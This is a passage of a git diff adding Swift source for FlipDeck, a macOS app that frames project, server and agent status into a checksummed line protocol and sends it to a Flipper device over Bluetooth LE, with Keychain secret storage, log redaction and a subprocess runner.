StableID.short("t", item.id) } + public static func event(_ eventID: String) -> String { StableID.short("e", eventID) } + public static func action(owner: String, _ action: FDAction) -> String { StableID.short("a", owner + "|" + action.id) } +} + +public enum FlipperSnapshotBuilder { + static func s(_ text: String?, _ max: Int) -> String { FrameCodec.sanitize(text ?? "", maxLength: max) } + static func unix(_ date: Date?) -> String { date.map { String(Int($0.timeIntervalSince1970)) } ?? "-" } + + static func timeFormatter(_ timeZone: TimeZone) -> DateFormatter { + let formatter = DateFormatter() + formatter.locale = Locale(identifier: "en_US_POSIX") + formatter.dateFormat = "HH:mm" + formatter.timeZone = timeZone + return formatter + } + + public static func build(state: EngineState, attention: [AttentionItem], events: [FDEvent], timeZone: TimeZone = .current) -> FlipperSnapshot { + var records: [Frame] = [] + var actionTable: [String: FDAction] = [:] + var eventOwners: [String: String] = [:] + var actionRecords: [Frame] = [] + + func addActions(owner: String, _ actions: [FDAction]) { + for action in actions { + guard let code = action.kind.wireCode, actionRecords.count < FlipperLimits.actions else { continue } + let wireID = FlipperIDs.action(owner: owner, action) + guard actionTable[wireID] == nil else { continue } + actionTable[wireID] = action + let flags = (action.destructive ? "d" : "") + (action.requiresConfirmation ? "c" : "") + actionRecords.append(Frame("ACT", [owner, wireID, code, flags, ""])) + } + } + + let attentionProjects = Set(attention.compactMap(\.projectID)) + let projectOrder = orderedProjects(state: state, attentionProjects: attentionProjects) + + records.append(Frame("SUM", [ + String(attention.count), String(state.projects.count), String(state.servers.count), String(state.agents.count), + ])) + + // Attention first: its actions are the most important ones to keep + // within the action budget. + for item in attention.prefix(FlipperLimits.attention) { + let owner = FlipperIDs.attention(item) + if let eventID = item.eventID { eventOwners[eventID] = owner } + records.append(Frame("ATN", [owner, item.severity.wireCode, s(item.projectName, FlipperLimits.name), s(item.title, FlipperLimits.title)])) + addActions(owner: owner, item.actions) + } + + for project in projectOrder.prefix(FlipperLimits.projects) { + let owner = FlipperIDs.project(project) + let git: String + if !project.isGitRepository { git = "n" } + else if let status = project.git { git = status.isDirty ? "d" : "c" } + else { git = "-" } + let server = state.servers(for: project.id).first + let deployment = state.latestDeployment(for: project.id) + records.append(Frame("PRJ", [ + owner, + s(project.name, FlipperLimits.name), + s(project.git?.branch ?? (project.git != nil ? "detached" : ""), FlipperLimits.branch), + git, + project.git?.ahead.map(String.init) ?? "-", + project.git?.behind.map(String.init) ?? "-", + String(server?.primaryPort ?? 0), + deployment?.state.wireCode ?? "-", + attentionProjects.contains(project.id) ? "1" : "0", + ])) + var projectActions = ActionCatalog.actions(for: project) + if let deployment { projectActions += ActionCatalog.actions(for: deployment) } + addActions(owner: owner, projectActions) + } + + for server in state.servers.prefix(FlipperLimits.services) { + let owner = FlipperIDs.server(server) + records.append(Frame("SVC", [ + owner, s(server.displayName, FlipperLimits.name), String(server.primaryPort), + s(state.project(id: server.projectID)?.name, FlipperLimits.name), unix(server.startedAt), + ])) + addActions(owner: owner, ActionCatalog.actions(for: server)) + } + + for agent in state.agents.prefix(FlipperLimits.agents) { + let owner = FlipperIDs.agent(agent) + records.append(Frame("AGT", [ + owner, s(agent.providerName, FlipperLimits.provider), s(state.project(id: agent.projectID)?.name, FlipperLimits.name), + agent.state.wireCode, unix(agent.startedAt), + ])) + if let project = state.project(id: agent.projectID) { + addActions(owner: owner, [FDAction(kind: .openOnMac, target: .project(path: project.path), source: .agent)]) + } + } + + let formatter = timeFormatter(timeZone) + for event in events.prefix(FlipperLimits.events) { + let owner = eventOwners[event.id] ?? FlipperIDs.event(event.id) + eventOwners[event.id] = owner + records.append(Frame("EVT", [ + owner, event.severity.wireCode, formatter.string(from: event.timestamp), + s(event.projectName, FlipperLimits.name), s(event.title, FlipperLimits.eventTitle), + ])) + addActions(owner: owner, event.actions) + } + + return FlipperSnapshot(records: records + actionRecords, actions: actionTable, eventOwners: eventOwners) + } + + /// Attention first, then anything active, then most recently committed. + static func orderedProjects(state: EngineState, attentionProjects: Set) -> [Project] { + let active = Set(state.servers.compactMap(\.projectID) + state.agents.compactMap(\.projectID) + state.processes.compactMap(\.projectID)) + func rank(_ project: Project) -> Int { + if attentionProjects.contains(project.id) { return 0 } + if active.contains(project.id) { return 1 } + if state.latestDeployment(for: project.id)?.state.isInProgress == true { return 1 } + return 2 + } + return state.projects.sorted { a, b in + let (ra, rb) = (rank(a), rank(b)) + if ra != rb { return ra < rb } + let da = a.git?.lastCommit?.date ?? .distantPast + let db = b.git?.lastCommit?.date ?? .distantPast + if da != db { return da > db } + return a.name.localizedCaseInsensitiveCompare(b.name) == .orderedAscending + } + } + + public static func machineFrame(_ machine: MachineStatus) -> Frame { + func percent(_ value: Double?) -> String { + // Quantized to 5% so jitter doesn't cause constant BLE traffic. + guard let value else { return "-" } + return String(min(100, max(0, Int((value * 20).rounded()) * 5))) + } + return Frame("MAC", [ + s(machine.hostName, FlipperLimits.host), + percent(machine.cpuUsage), + percent(machine.memoryUsage), + machine.battery.map { String($0.percent) } ?? "-", + machine.battery.map { $0.charging ? "1" : "0" } ?? "-", + machine.networkReachable.map { $0 ? "1" : "0" } ?? "-", + unix(machine.bootTime), + ]) + } +} diff --git a/mac/Sources/FlipDeckCore/Protocol/FrameCodec.swift b/mac/Sources/FlipDeckCore/Protocol/FrameCodec.swift new file mode 100644 index 0000000..d6fce1c --- /dev/null +++ b/mac/Sources/FlipDeckCore/Protocol/FrameCodec.swift @@ -0,0 +1,157 @@ +import Foundation + +/// FDP/1 framing: `TYPE|f1|…|fN*CCCC\n`. See docs/protocol.md. +public enum FDP { + public static let protocolVersion = 1 + public static let maxFrameLength = 240 +} + +public struct Frame: Equatable, Hashable, Sendable { + public let type: String + public let fields: [String] + + public init(_ type: String, _ fields: [String] = []) { + self.type = type + self.fields = fields + } + + public subscript(index: Int) -> String? { + index < fields.count ? fields[index] : nil + } +} + +public enum FrameError: Error, Equatable, Sendable { + case tooLong + case badChecksum + case nonPrintable + case malformed +} + +public enum CRC16 { + /// CRC-16/CCITT-FALSE: poly 0x1021, init 0xFFFF, no reflection, xorout 0. + public static func ccittFalse(_ bytes: S) -> UInt16 where S.Element == UInt8 { + var crc: UInt16 = 0xFFFF + for byte in bytes { + crc ^= UInt16(byte) << 8 + for _ in 0..<8 { + crc = (crc & 0x8000) != 0 ? (crc << 1) ^ 0x1021 : crc << 1 + } + } + return crc + } +} + +public enum FrameCodec { + /// Makes arbitrary text safe for a field: ASCII only, no separators, no + /// control characters, at most `maxLength` bytes. + public static func sanitize(_ text: String, maxLength: Int) -> String { + let folded = text.folding(options: [.diacriticInsensitive, .widthInsensitive], locale: Locale(identifier: "en_US_POSIX")) + var output = "" + output.reserveCapacity(min(folded.utf8.count, maxLength)) + var lastWasSpace = false + for scalar in folded.unicodeScalars { + if output.utf8.count >= maxLength { break } + var character: Character + switch scalar.value { + case 0x7C: character = "/" // | + case 0x2A: character = "+" // * + case 0x09, 0x0A, 0x0D, 0x20: character = " " + case 0x2026: character = "." // … + case 0x2018, 0x2019: character = "'" + case 0x201C, 0x201D: character = "\"" + case 0x2013, 0x2014: character = "-" + case 0x21...0x7E: character = Character(scalar) + default: character = "?" + } + if character == " " { + if lastWasSpace || output.isEmpty { continue } + lastWasSpace = true + } else { + lastWasSpace = false + } + output.append(character) + } + while output.hasSuffix(" ") { output.removeLast() } + return output + } + + /// Encodes a frame. Fields must already be sanitized; if the frame is + /// still too long, the longest field is shortened until it fits. + public static func encode(_ frame: Frame) -> Data { + var fields = frame.fields + var payload = ([frame.type] + fields).joined(separator: "|") + // "*CCCC\n" is 6 bytes. + while payload.utf8.count + 6 > FDP.maxFrameLength, + let longest = fields.indices.max(by: { fields[$0].utf8.count < fields[$1].utf8.count }), + !fields[longest].isEmpty { + let excess = payload.utf8.count + 6 - FDP.maxFrameLength + fields[longest] = String(fields[longest].utf8.prefix(max(0, fields[longest].utf8.count - excess)))! + payload = ([frame.type] + fields).joined(separator: "|") + } + let crc = CRC16.ccittFalse(payload.utf8) + return Data((payload + "*" + hex4(crc) + "\n").utf8) + } + + static func hex4(_ value: UInt16) -> String { + let digits = Array("0123456789ABCDEF") + return String([digits[Int(value >> 12)], digits[Int((value >> 8) & 0xF)], digits[Int((value >> 4) & 0xF)], digits[Int(value & 0xF)]]) + } + + /// Decodes one line (without the trailing `\n`). + public static func decodeLine(_ line: C) -> Result where C.Element == UInt8 { + let bytes = Array(line.filter { $0 != 0x0D }) + guard bytes.count + 1 <= FDP.maxFrameLength else { return .failure(.tooLong) } + guard bytes.allSatisfy({ $0 >= 0x20 && $0 <= 0x7E }) else { return .failure(.nonPrintable) } + guard let star = bytes.lastIndex(of: 0x2A), bytes.count - star == 5 else { return .failure(.malformed) } + let payload = bytes[..= 0x30 && $0 <= 0x39) || ($0 >= 0x41 && $0 <= 0x46) || ($0 >= 0x61 && $0 <= 0x66) }), + let expected = UInt16(String(decoding: hexDigits, as: UTF8.self), radix: 16) else { + return .failure(.malformed) + } + guard CRC16.ccittFalse(payload) == expected else { return .failure(.badChecksum) } + let parts = String(decoding: payload, as: UTF8.self).split(separator: "|", omittingEmptySubsequences: false).map(String.init) + guard let type = parts.first, (1...7).contains(type.count), type.allSatisfy({ $0 >= "A" && $0 <= "Z" }) else { + return .failure(.malformed) + } + return .success(Frame(type, Array(parts.dropFirst()))) + } +} + +/// Reassembles frames from an arbitrary chunked byte stream. +public struct FrameDecoder: Sendable { + private var buffer: [UInt8] = [] + /// After an overlong line, drop bytes until the next newline so the + /// stream re-synchronizes on a frame boundary. + private var discarding = false + + public init() {} + + public mutating func feed(_ data: Data) -> [Result] { + var results: [Result] = [] + for byte in data { + if byte == 0x0A { + if discarding { + discarding = false + } else if !buffer.isEmpty { + results.append(FrameCodec.decodeLine(buffer)) + } + buffer.removeAll(keepingCapacity: true) + continue + } + if discarding { continue } + buffer.append(byte) + if buffer.count >= FDP.maxFrameLength { + results.append(.failure(.tooLong)) + buffer.removeAll(keepingCapacity: true) + discarding = true + } + } + return results + } + + public mutating func reset() { + buffer.removeAll() + discarding = false + } +} diff --git a/mac/Sources/FlipDeckCore/Secrets/SecretStore.swift b/mac/Sources/FlipDeckCore/Secrets/SecretStore.swift new file mode 100644 index 0000000..a268381 --- /dev/null +++ b/mac/Sources/FlipDeckCore/Secrets/SecretStore.swift @@ -0,0 +1,46 @@ +import Foundation + +public enum SecretKey: String, Sendable, CaseIterable { + case vercelToken = "vercel.token" +} + +/// Credential storage. The macOS app uses the Keychain; secrets never go +/// into settings files, logs, or anything sent to the Flipper. +public protocol SecretStore: Sendable { + func get(_ key: SecretKey) -> String? + func set(_ value: String?, for key: SecretKey) throws +} + +public final class InMemorySecretStore: SecretStore, @unchecked Sendable { + private let lock = NSLock() + private var values: [SecretKey: String] = [:] + + public init(_ initial: [SecretKey: String] = [:]) { + values = initial + } + + public func get(_ key: SecretKey) -> String? { + lock.lock() + defer { lock.unlock() } + return values[key] + } + + public func set(_ value: String?, for key: SecretKey) throws { + lock.lock() + defer { lock.unlock() } + values[key] = value + } +} + +/// Reads secrets from environment variables (headless/CI use only). +public struct EnvironmentSecretStore: SecretStore { + public init() {} + + public func get(_ key: SecretKey) -> String? { + switch key { + case .vercelToken: return ProcessInfo.processInfo.environment["VERCEL_TOKEN"] + } + } + + public func set(_ value: String?, for key: SecretKey) throws {} +} diff --git a/mac/Sources/FlipDeckCore/Support/CommandRunner.swift b/mac/Sources/FlipDeckCore/Support/CommandRunner.swift new file mode 100644 index 0000000..b1a54de --- /dev/null +++ b/mac/Sources/FlipDeckCore/Support/CommandRunner.swift @@ -0,0 +1,137 @@ +import Foundation + +public struct CommandResult: Sendable, Equatable { + public let exitCode: Int32 + public let stdout: String + public let stderr: String + + public init(exitCode: Int32, stdout: String, stderr: String) { + self.exitCode = exitCode + self.stdout = stdout + self.stderr = stderr + } + + public var succeeded: Bool { exitCode == 0 } +} + +public enum CommandError: Error, Equatable, CustomStringConvertible { + case toolNotFound(String) + case launchFailed(String) + case timedOut(String) + + public var description: String { + switch self { + case .toolNotFound(let tool): return "\(tool) not found" + case .launchFailed(let reason): return "failed to launch: \(reason)" + case .timedOut(let command): return "\(command) timed out" + } + } +} + +/// Runs external tools. Everything FlipDeck learns from `git`, `ps` and `lsof` +/// goes through this seam so it can be faked in tests. +public protocol CommandRunner: Sendable { + func run(_ executable: String, _ arguments: [String], cwd: String?, timeout: TimeInterval) async throws -> CommandResult +} + +extension CommandRunner { + public func run(_ executable: String, _ arguments: [String], cwd: String? = nil) async throws -> CommandResult { + try await run(executable, arguments, cwd: cwd, timeout: 10) + } +} + +public struct ProcessCommandRunner: CommandRunner { + public init() {} + + public func run(_ executable: String, _ arguments: [String], cwd: String?, timeout: TimeInterval) async throws -> CommandResult { + try await withCheckedThrowingContinuation { continuation in + DispatchQueue.global(qos: .utility).async { + do { + continuation.resume(returning: try Self.runSync(executable, arguments, cwd: cwd, timeout: timeout)) + } catch { + continuation.resume(throwing: error) + } + } + } + } + + private final class Collected: @unchecked Sendable { + private let lock = NSLock() + private var stdout = Data() + private var stderr = Data() + func set(stdout data: Data) { lock.lock(); stdout = data; lock.unlock() } + func set(stderr data: Data) { lock.lock(); stderr = data; lock.unlock() } + func get() -> (Data, Data) { lock.lock(); defer { lock.unlock() }; return (stdout, stderr) } + } + + static func runSync(_ executable: String, _ arguments: [String], cwd: String?, timeout: TimeInterval) throws -> CommandResult { + let process = Process() + process.executableURL = URL(fileURLWithPath: executable) + process.arguments = arguments + if let cwd { process.currentDirectoryURL = URL(fileURLWithPath: cwd) } + + var environment = ProcessInfo.processInfo.environment + environment["LC_ALL"] = "C" + environment["LANG"] = "C" + // Never block on credential prompts, and never take the index lock + // (so FlipDeck can't collide with the user's own git commands). + environment["GIT_TERMINAL_PROMPT"] = "0" + environment["GIT_OPTIONAL_LOCKS"] = "0" + process.environment = environment + + let out = Pipe() + let err = Pipe() + process.standardOutput = out + process.standardError = err + process.standardInput = FileHandle.nullDevice + + do { + try process.run() + } catch { + throw CommandError.launchFailed("\(executable): \(error.localizedDescription)") + } + + // Drain both pipes concurrently; a full pipe buffer would otherwise + // deadlock a chatty child (ps on a busy machine easily exceeds 64 KB). + let collected = Collected() + let group = DispatchGroup() + group.enter() + DispatchQueue.global(qos: .utility).async { + collected.set(stdout: out.fileHandleForReading.readDataToEndOfFile()) + group.leave() + } + group.enter() + DispatchQueue.global(qos: .utility).async { + collected.set(stderr: err.fileHandleForReading.readDataToEndOfFile()) + group.leave() + } + + if group.wait(timeout: .now() + timeout) == .timedOut { + process.terminate() + _ = group.wait(timeout: .now() + 2) + throw CommandError.timedOut(([executable] + arguments.prefix(2)).joined(separator: " ")) + } + process.waitUntilExit() + + let (stdoutData, stderrData) = collected.get() + return CommandResult( + exitCode: process.terminationStatus, + stdout: String(decoding: stdoutData, as: UTF8.self), + stderr: String(decoding: stderrData, as: UTF8.self) + ) + } +} + +/// Finds system tools without depending on the (often minimal) PATH a GUI app +/// inherits from launchd. +public enum ToolLocator { + static let searchPaths = ["/usr/bin", "/bin", "/usr/sbin", "/sbin", "/opt/homebrew/bin", "/usr/local/bin"] + + public static func find(_ tool: String, fileManager: FileManager = .default) -> String? { + for directory in searchPaths { + let candidate = directory + "/" + tool + if fileManager.isExecutableFile(atPath: candidate) { return candidate } + } + return nil + } +} diff --git a/mac/Sources/FlipDeckCore/Support/Hashing.swift b/mac/Sources/FlipDeckCore/Support/Hashing.swift new file mode 100644 index 0000000..ed73533 --- /dev/null +++ b/mac/Sources/FlipDeckCore/Support/Hashing.swift @@ -0,0 +1,24 @@ +import Foundation + +/// Short, stable identifiers for things sent to the Flipper. They must be the +/// same across snapshots (so an action id seen a moment ago still resolves) +/// and short (every byte crosses BLE). +public enum StableID { + /// 64-bit FNV-1a; deterministic across launches, unlike `Hasher`. + public static func fnv1a(_ string: String) -> UInt64 { + var hash: UInt64 = 0xcbf2_9ce4_8422_2325 + for byte in string.utf8 { + hash ^= UInt64(byte) + hash = hash &* 0x0000_0100_0000_01B3 + } + return hash + } + + /// `prefix` + 6 base-36 characters (~2.2 billion values). + public static func short(_ prefix: String, _ key: String) -> String { + let value = fnv1a(key) % 2_176_782_336 // 36^6 + var digits = String(value, radix: 36) + while digits.count < 6 { digits = "0" + digits } + return prefix + digits + } +} diff --git a/mac/Sources/FlipDeckCore/Support/Log.swift b/mac/Sources/FlipDeckCore/Support/Log.swift new file mode 100644 index 0000000..925bfe0 --- /dev/null +++ b/mac/Sources/FlipDeckCore/Support/Log.swift @@ -0,0 +1,62 @@ +import Foundation + +public enum LogLevel: Int, Sendable, Comparable { + case debug, info, warning, error + + public static func < (lhs: LogLevel, rhs: LogLevel) -> Bool { lhs.rawValue < rhs.rawValue } +} + +public protocol LogSink: Sendable { + func log(_ level: LogLevel, _ category: String, _ message: String) +} + +/// Writes to stderr. The macOS app swaps in an `os.Logger` sink. +public struct StderrLogSink: LogSink { + public let minimum: LogLevel + public init(minimum: LogLevel = .info) { self.minimum = minimum } + + public func log(_ level: LogLevel, _ category: String, _ message: String) { + guard level >= minimum else { return } + let line = "[\(level)] \(category): \(message)\n" + FileHandle.standardError.write(Data(line.utf8)) + } +} + +public struct NullLogSink: LogSink { + public init() {} + public func log(_ level: LogLevel, _ category: String, _ message: String) {} +} + +public struct Logger: Sendable { + public let category: String + public let sink: LogSink + + public init(_ category: String, sink: LogSink) { + self.category = category + self.sink = sink + } + + public func debug(_ message: @autoclosure () -> String) { sink.log(.debug, category, message()) } + public func info(_ message: @autoclosure () -> String) { sink.log(.info, category, message()) } + public func warning(_ message: @autoclosure () -> String) { sink.log(.warning, category, message()) } + public func error(_ message: @autoclosure () -> String) { sink.log(.error, category, message()) } +} + +/// Helpers that keep secrets out of logs and error messages. +public enum Redact { + /// Replaces every occurrence of `secret` in `text`. Use on any string that + /// might echo a request (error bodies, URLs) before logging it. + public static func removing(_ secret: String?, from text: String) -> String { + guard let secret, secret.count >= 4 else { return text } + return text.replacingOccurrences(of: secret, with: "") + } + + /// Drops query strings (which may carry tokens) from a URL for logging. + public static func url(_ url: URL) -> String { + guard var components = URLComponents(url: url, resolvingAgainstBaseURL: false) else { return "" } + if components.query != nil { components.query = "…" } + components.user = nil + components.password = nil + return components.string ?? "" + } +} diff --git a/mac/Sources/FlipDeckCore/Transport/FlipperTransport.swift b/mac/Sources/FlipDeckCore/Transport/FlipperTransport.swift new file mode 100644 index 0000000..851dd59 --- /dev/null +++ b/mac/Sources/FlipDeckCore/Transport/FlipperTransport.swift @@ -0,0 +1,103 @@ +import Foundation + +public enum TransportStatus: Equatable, Sendable { + /// Can't operate (Bluetooth off, permission denied, unsupported). + case unavailable(String) + case idle + case scanning + case connecting(String) + case connected(String) + + public var label: String { + switch self { + case .unavailable(let reason): return reason + case .idle: return "Idle" + case .scanning: return "Searching for Flipper…" + case .connecting(let name): return "Connecting to \(name)…" + case .connected(let name): return "Connected to \(name)" + } + } +} + +public enum TransportEvent: Sendable { + case status(TransportStatus) + /// The byte pipe is ready. `maxChunk` is the largest write the peer can + /// receive in one piece (BLE: ATT MTU − 3). + case connected(peerName: String, maxChunk: Int) + case disconnected(reason: String?) + case received(Data) +} + +/// A reliable, ordered byte stream to one Flipper. The session doesn't know +/// or care whether it's BLE, USB serial, or an in-memory pipe. +public protocol FlipperTransport: AnyObject, Sendable { + /// Single-consumer event stream; call once. + func events() -> AsyncStream + func start() + func stop() + /// Enqueues bytes for sending. Order across calls is preserved. Delivery + /// failures surface as `.disconnected`. + func send(_ data: Data) +} + +/// In-memory transport for tests and the headless demo: bytes the session +/// sends are handed to `onSend`; tests inject inbound bytes with `receive`. +public final class LoopbackTransport: FlipperTransport, @unchecked Sendable { + private let lock = NSLock() + private var continuation: AsyncStream.Continuation? + private var pending: [TransportEvent] = [] + private var sent: [Data] = [] + public var onSend: (@Sendable (Data) -> Void)? + + public init() {} + + public func events() -> AsyncStream { + AsyncStream { continuation in + lock.lock() + self.continuation = continuation + let backlog = pending + pending.removeAll() + lock.unlock() + for event in backlog { continuation.yield(event) } + } + } + + public func start() {} + public func stop() {} + + public func send(_ data: Data) { + lock.lock() + sent.append(data) + let handler = onSend + lock.unlock() + handler?(data) + } + + public func emit(_ event: TransportEvent) { + lock.lock() + if let continuation { + lock.unlock() + continuation.yield(event) + } else { + pending.append(event) + lock.unlock() + } + } + + public func receive(_ string: String) { emit(.received(Data(string.utf8))) } + + /// Everything sent so far, as decoded frames (drops malformed ones). + public func sentFrames() -> [Frame] { + lock.lock() + let all = sent.reduce(Data(), +) + lock.unlock() + var decoder = FrameDecoder() + return decoder.feed(all).compactMap { try? $0.get() } + } + + public func clearSent() { + lock.lock() + sent.removeAll() + lock.unlock() + } +} diff --git a/mac/Sources/FlipDeckMacPlatform/BLESerialTransport.swift b/mac/Sources/FlipDeckMacPlatform/BLESerialTransport.swift new file mode 100644 index 0000000..5636dfa --- /dev/null +++ b/mac/Sources/FlipDeckMacPlatform/BLESerialTransport.swift @@ -0,0 +1,273 @@ +#if os(macOS) +import CoreBluetooth +import Foundation +import FlipDeckCore + +/// FDP/1 over the Flipper's BLE serial GATT service, exposed by the FlipDeck +/// .fap under its own profile (see ARCHITECTURE.md → Bluetooth details). +/// +/// - RX (…62fe0000): we write. Requires a paired, encrypted link; the first +/// authenticated access makes macOS show the pairing prompt and the Flipper +/// show the PIN. +/// - TX (…61fe0000): the Flipper indicates. +/// - Flow control (…63fe0000): uint32 big-endian number of bytes the Flipper can +/// accept. We write *exactly up to* the credit; the Flipper re-arms it only +/// after the credit hits zero and its buffer is drained. +public final class BLESerialTransport: NSObject, FlipperTransport, @unchecked Sendable { + static let serviceUUID = CBUUID(string: "8FE5B3D5-2E7F-4A98-2A48-7ACC60FE0000") + static let rxUUID = CBUUID(string: "19ED82AE-ED21-4C9D-4145-228E62FE0000") + static let txUUID = CBUUID(string: "19ED82AE-ED21-4C9D-4145-228E61FE0000") + static let flowUUID = CBUUID(string: "19ED82AE-ED21-4C9D-4145-228E63FE0000") + static let namePrefix = "FlipDeck" + + private let queue = DispatchQueue(label: "flipdeck.ble") + private var central: CBCentralManager! + private var continuation: AsyncStream.Continuation? + + private var knownPeripheralID: UUID? + private var peripheral: CBPeripheral? + private var rx: CBCharacteristic? + private var tx: CBCharacteristic? + private var flow: CBCharacteristic? + private var running = false + private var linkReady = false + + private var outbound = Data() + private var credit = 0 + private var writeInFlight = false + private var creditKnown = false + private var notifyReady = false + + /// Called on the BLE queue when a FlipDeck Flipper is first identified, + /// so the app can remember it and reconnect directly next time. + public var onPeripheralIdentified: (@Sendable (UUID) -> Void)? + + public init(knownPeripheralID: UUID?) { + self.knownPeripheralID = knownPeripheralID + super.init() + } + + public func events() -> AsyncStream { + AsyncStream { continuation in + queue.async { self.continuation = continuation } + } + } + + public func start() { + queue.async { + self.running = true + if self.central == nil { + self.central = CBCentralManager(delegate: self, queue: self.queue) + } else { + self.connectOrScan() + } + } + } + + public func stop() { + queue.async { + self.running = false + self.central?.stopScan() + if let peripheral = self.peripheral { self.central?.cancelPeripheralConnection(peripheral) } + self.resetLink() + self.emit(.status(.idle)) + } + } + + /// Drops the remembered Flipper and searches again (e.g. to pair another). + public func forget() { + queue.async { + self.knownPeripheralID = nil + if let peripheral = self.peripheral { self.central?.cancelPeripheralConnection(peripheral) } + self.peripheral = nil + self.resetLink() + if self.running { self.connectOrScan() } + } + } + + public func send(_ data: Data) { + queue.async { + guard self.linkReady else { return } + self.outbound.append(data) + self.pump() + } + } + + // MARK: - Internals (BLE queue only) + + private func emit(_ event: TransportEvent) { + continuation?.yield(event) + } + + private func resetLink(reason: String? = nil) { + let wasReady = linkReady + rx = nil + tx = nil + flow = nil + outbound.removeAll() + credit = 0 + creditKnown = false + notifyReady = false + writeInFlight = false + linkReady = false + if wasReady { emit(.disconnected(reason: reason)) } + } + + private func connectOrScan() { + guard running, central.state == .poweredOn else { return } + if let id = knownPeripheralID, let known = central.retrievePeripherals(withIdentifiers: [id]).first { + peripheral = known + known.delegate = self + emit(.status(.connecting(known.name ?? "Flipper"))) + // A pending connect has no timeout: CoreBluetooth completes it + // whenever the Flipper comes into range and advertises. + central.connect(known, options: nil) + } else { + emit(.status(.scanning)) + central.scanForPeripherals(withServices: nil, options: [CBCentralManagerScanOptionAllowDuplicatesKey: false]) + } + } + + private func checkReady() { + guard !linkReady, notifyReady, creditKnown, rx != nil, let peripheral else { return } + linkReady = true + let chunk = min(243, peripheral.maximumWriteValueLength(for: .withoutResponse)) + let name = peripheral.name ?? "Flipper" + emit(.status(.connected(name))) + emit(.connected(peerName: name, maxChunk: chunk)) + pump() + } + + private func pump() { + guard linkReady, !writeInFlight, credit > 0, !outbound.isEmpty, let peripheral, let rx else { return } + let maxWrite = min(243, peripheral.maximumWriteValueLength(for: .withoutResponse)) + let size = min(outbound.count, credit, maxWrite) + let chunk = outbound.prefix(size) + outbound.removeFirst(size) + credit -= size + writeInFlight = true + // With-response writes: ordered, acknowledged, and they surface auth + // errors (which is what triggers pairing on first use). + peripheral.writeValue(Data(chunk), for: rx, type: .withResponse) + } +} + +extension BLESerialTransport: CBCentralManagerDelegate { + public func centralManagerDidUpdateState(_ central: CBCentralManager) { + switch central.state { + case .poweredOn: + connectOrScan() + case .poweredOff: + resetLink() + emit(.status(.unavailable("Bluetooth is off"))) + case .unauthorized: + emit(.status(.unavailable("Bluetooth permission denied (System Settings → Privacy & Security → Bluetooth)"))) + case .unsupported: + emit(.status(.unavailable("Bluetooth LE is not supported on this Mac"))) + default: + emit(.status(.unavailable("Bluetooth is unavailable"))) + } + } + + public func centralManager(_ central: CBCentralManager, didDiscover peripheral: CBPeripheral, advertisementData: [String: Any], rssi RSSI: NSNumber) { + let advertisedName = advertisementData[CBAdvertisementDataLocalNameKey] as? String + guard let name = advertisedName ?? peripheral.name, name.hasPrefix(Self.namePrefix) else { return } + central.stopScan() + self.peripheral = peripheral + peripheral.delegate = self + emit(.status(.connecting(name))) + central.connect(peripheral, options: nil) + } + + public func centralManager(_ central: CBCentralManager, didConnect peripheral: CBPeripheral) { + if knownPeripheralID != peripheral.identifier { + knownPeripheralID = peripheral.identifier + onPeripheralIdentified?(peripheral.identifier) + } + peripheral.discoverServices([Self.serviceUUID]) + } + + public func centralManager(_ central: CBCentralManager, didFailToConnect peripheral: CBPeripheral, error: Error?) { + resetLink() + emit(.status(.unavailable("Couldn't connect: \(error?.localizedDescription ?? "unknown error")"))) + queue.asyncAfter(deadline: .now() + 5) { [weak self] in self?.connectOrScan() } + } + + public func centralManager(_ central: CBCentralManager, didDisconnectPeripheral peripheral: CBPeripheral, error: Error?) { + resetLink(reason: error?.localizedDescription ?? "disconnected") + guard running else { return } + emit(.status(.connecting(peripheral.name ?? "Flipper"))) + // Re-arm immediately; completes when the Flipper is back in range. + central.connect(peripheral, options: nil) + } +} + +extension BLESerialTransport: CBPeripheralDelegate { + public func peripheral(_ peripheral: CBPeripheral, didDiscoverServices error: Error?) { + guard let service = peripheral.services?.first(where: { $0.uuid == Self.serviceUUID }) else { + emit(.status(.unavailable("Flipper isn't running FlipDeck (serial service missing)"))) + central.cancelPeripheralConnection(peripheral) + return + } + peripheral.discoverCharacteristics([Self.rxUUID, Self.txUUID, Self.flowUUID], for: service) + } + + public func peripheral(_ peripheral: CBPeripheral, didDiscoverCharacteristicsFor service: CBService, error: Error?) { + for characteristic in service.characteristics ?? [] { + switch characteristic.uuid { + case Self.rxUUID: rx = characteristic + case Self.txUUID: + tx = characteristic + peripheral.setNotifyValue(true, for: characteristic) + case Self.flowUUID: + flow = characteristic + peripheral.setNotifyValue(true, for: characteristic) + peripheral.readValue(for: characteristic) + default: break + } + } + if rx == nil || tx == nil || flow == nil { + emit(.status(.unavailable("Flipper serial service is incomplete"))) + central.cancelPeripheralConnection(peripheral) + } + } + + public func peripheral(_ peripheral: CBPeripheral, didUpdateNotificationStateFor characteristic: CBCharacteristic, error: Error?) { + if let error { + // Typically "insufficient authentication" while pairing is in progress; + // macOS retries after the user enters the PIN shown on the Flipper. + emit(.status(.connecting("Pairing… enter the PIN shown on the Flipper (\(error.localizedDescription))"))) + return + } + if characteristic.uuid == Self.txUUID, characteristic.isNotifying { + notifyReady = true + checkReady() + } + } + + public func peripheral(_ peripheral: CBPeripheral, didUpdateValueFor characteristic: CBCharacteristic, error: Error?) { + guard error == nil, let value = characteristic.value else { return } + switch characteristic.uuid { + case Self.txUUID: + if linkReady { emit(.received(value)) } + case Self.flowUUID where value.count >= 4: + credit = value.prefix(4).reduce(0) { ($0 << 8) | Int($1) } + creditKnown = true + checkReady() + pump() + default: + break + } + } + + public func peripheral(_ peripheral: CBPeripheral, didWriteValueFor characteristic: CBCharacteristic, error: Error?) { + writeInFlight = false + if let error { + emit(.status(.unavailable("Write failed: \(error.localizedDescription)"))) + central.cancelPeripheralConnection(peripheral) + return + } + pump() + } +} +#endif diff --git a/mac/Sources/FlipDeckMacPlatform/Keychain.swift b/mac/Sources/FlipDeckMacPlatform/Keychain.swift new file mode 100644 index 0000000..d065ee4 --- /dev/null +++ b/mac/Sources/FlipDeckMacPlatform/Keychain.swift @@ -0,0 +1,58 @@ +#if os(macOS) +import Foundation +import Security +import FlipDeckCore + +/// Generic-password Keychain items, one per `SecretKey`, under one service. +public final class KeychainSecretStore: SecretStore, @unchecked Sendable { + let service: String + + public init(service: String = "com.flipdeck.mac") { + self.service = service + } + + private func query(_ key: SecretKey) -> [String: Any] { + [ + kSecClass as String: kSecClassGenericPassword, + kSecAttrService as String: service, + kSecAttrAccount as String: key.rawValue, + ] + } + + public func get(_ key: SecretKey) -> String? { + var query = query(key) + query[kSecReturnData as String] = true + query[kSecMatchLimit as String] = kSecMatchLimitOne + var result: CFTypeRef? + guard SecItemCopyMatching(query as 